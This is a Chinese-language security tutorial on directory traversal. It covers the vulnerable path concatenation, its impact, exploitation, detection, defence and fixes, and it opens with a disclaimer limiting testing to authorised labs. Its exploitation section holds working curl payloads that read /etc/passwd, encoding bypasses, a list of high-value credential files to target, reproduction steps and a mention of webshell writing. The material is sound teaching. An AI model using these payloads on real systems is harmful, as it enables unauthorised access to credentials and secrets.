写在前面:合法学习边界
目录穿越测试只允许在自建靶场或授权环境进行。对真实系统读文件、写文件可能触犯法律。
一、漏洞原理
程序把用户输入拼进文件路径,却没有校验路径范围,导致可以用 ../ 跳出限定目录访问任意文件。
1
2
| 危险写法:
readFile("/var/www/uploads/" + filename)
|
攻击者传:
就变成了:
1
| readFile("/var/www/uploads/../../../../etc/passwd")
|
漏洞本质:用户可控输入进入了文件路径,且未做路径规范化与边界校验。
二、影响与危害
1
2
3
| 读取任意文件(源码、配置、密钥、数据库备份)
配合上传/写入 → 写文件 Getshell
敏感信息泄露放大其他攻击
|
风险等级:高。
三、利用 / 复现
基础读取
1
2
| curl http://目标/download?file=../../../../etc/passwd
curl http://目标/?page=..%2f..%2f..%2fetc%2fpasswd
|
编码与绕过
1
2
3
4
| 双编码:%252e%252e%252f → 服务器解码一次后仍带 ..%2f
反斜杠:..\..\..\etc\passwd(Windows)
绝对路径:/etc/passwd 直接拼
通配与空字节:%00 截断(老系统)
|
常见绕过验证:
1
| curl --path-as-is 'http://目标/download?file=..%252f..%252f..%252fetc%252fpasswd'
|
读高价值文件
1
2
3
4
| /etc/passwd、/etc/shadow
应用配置文件(.env、config.php、web.config)
源码、备份、日志
Windows:C:\Windows\win.ini、IIS web.config
|
写文件(配合场景)
如果下载接口带保存功能且路径可控,可能配合写入:
1
| 把内容写进可执行目录 → 形成 WebShell
|
复现操作步骤
1
2
3
4
| 第 1 步:找 file/download/page 等路径参数
第 2 步:送 ../../../../etc/passwd(含 %2e%2e、%252e 等变体)
第 3 步:看响应是否出现文件内容(root:x:0:0)—— 出现即确认
第 4 步:扩展到读 .env/源码/备份等高价值文件
|
四、检测
1
2
3
4
| 参数中出现 ../、%2e%2e、%252e 等
日志里 path/file/download 参数异常
响应出现系统文件特征(root:x:0:0 等)
对比正常与异常响应差异
|
五、防御
1
2
3
4
5
| 文件路径用白名单/映射,不接受原始用户路径
对路径做规范化(resolve)后校验前缀
过滤 ../、..\ 及编码变体
文件读取接口限制目录与扩展名
最小权限运行 Web 服务
|
六、修复
1
2
3
4
| 改用文件 ID/映射表,不拼用户输入
统一路径处理函数做规范化和边界校验
修复后复测:../ 与编码绕过均被拒
排查历史读取接口
|
七、小结
目录穿越和文件包含是“一家人”:都是用户输入进了路径。测试时重点看 download/file/page/path 这类参数;防御核心是不要拼原始路径 + 规范化校验。